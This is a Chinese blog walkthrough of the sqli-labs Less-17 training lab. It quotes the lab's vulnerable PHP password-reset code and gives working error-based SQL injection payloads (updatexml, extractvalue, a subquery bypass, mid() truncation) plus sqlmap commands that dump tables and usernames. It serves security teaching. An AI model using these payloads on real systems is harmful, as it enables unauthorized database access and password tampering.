Less17基于报错的字符型注入

Less17基于报错的字符型注入

打开环境是一个密码重置页面

y1VD5OONuUcmS8kaPomrubS4FADH35WUDjBoBe4MC88

在用户名栏输入各种语句都无效,遂审计源码

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

这里面定义了个函数,输入的usename会在这里被滤一次,再看看几个过滤函数的意思

get_magic_quotes_gpc(),该函数返回检测PHP环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义

stripslashes(),该函数用于去除字符串里的反斜杠,也就是防止转义

ctype_digit(),该函数用于检测字符串是否为纯数字,是则返回true,不是返回false

mysql_real_escape_string(),该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入

intval(),该函数用于将字符串转化为纯数字

分析完后发现,只要经过这里一次,基本上不能进行SQL注入了,但是password没有被过滤,所以能以password这里作为注入点,但是呢必须得输对用户名才行

if(isset($_POST['uname']) && isset($_POST['passwd']))  //需要用户名和密码都有输入
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  //对用户名参数做了输入检查

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)                  //当用户名存在时,才会执行修改密码的操作
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";

第一条SQL语句没有带password,第二条有,但是没有回显,可以利用报错盲注进行注入

一、手工注入

尝试admin帐号修改,发现存在该账号,故可在密码处进行注入

cfF5DuFFyUm2LScP6I5IWxPUL6dX8YQXuvbk7RudEC0

1.爆破数据表

-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1)),1) #

wJBOUmkIJQolxb0Xt2UpWJapCqC8g1QAMnQM-UX0NVQ

2.爆破字段名

-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1) #

RvL33afG9KwMzUry3NN6T_adH9UmPLrVJlLykX2B45s

3.爆字段值

1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users)))#

此时出现报错

hrD2ua05Qlo0Ky_Dcjo-39BdHbXfEZtPpJTxYiqWQWA

对应的是update的语句,不能select表中的某些值,但是我们可以用其他方法绕过 ,将表名users用(select username from users)a替换掉

-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1)#

h24bcHDAgUFumAVvB8w__mYzEm4tkHKcMoPWDvxwgUY

由于报错回显最多32位字符串,所以导致了回显不全的问题,我们可以利用字符串截断函数进行截断回显,这里我们使用mid函数,截断查询语句,从第32位开始查看回显31位字符串,也就是mid(SQL语句,32,31)

-1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)),1)#

Cef5_qR_imWm6O6oi2AqxJ2DzETGmMVyjHl8yMMAkZ4

二、SQLMap注入

通过BP进行抓包

y1sAfm-YMxbVG90b9Y6c1fdttgtUzQF4OJQmSOgYvaY

然后把内容保存到txt文件中,放到kali中跑脚本

sqlmap -r data.txt --dbs

CBDFNLFvVrmna46JtkX5R4k_Wpv8fuE81Qnt70oCtBc

wQc0L0YE6CIyEpRczMiAXlJVonQ-F-0X8lObBCPGxeQ

sqlmap -r data.txt -D security --tables

t8Q2H0wUkVwCrAHQxT5Wu0mYrwlGAumyrQIq8gZDZII

后续的步骤与之前关卡相同,就不再重复了

posted on 2024-05-06 09:33  跳河离去的鱼  阅读(24)  评论(0编辑  收藏  举报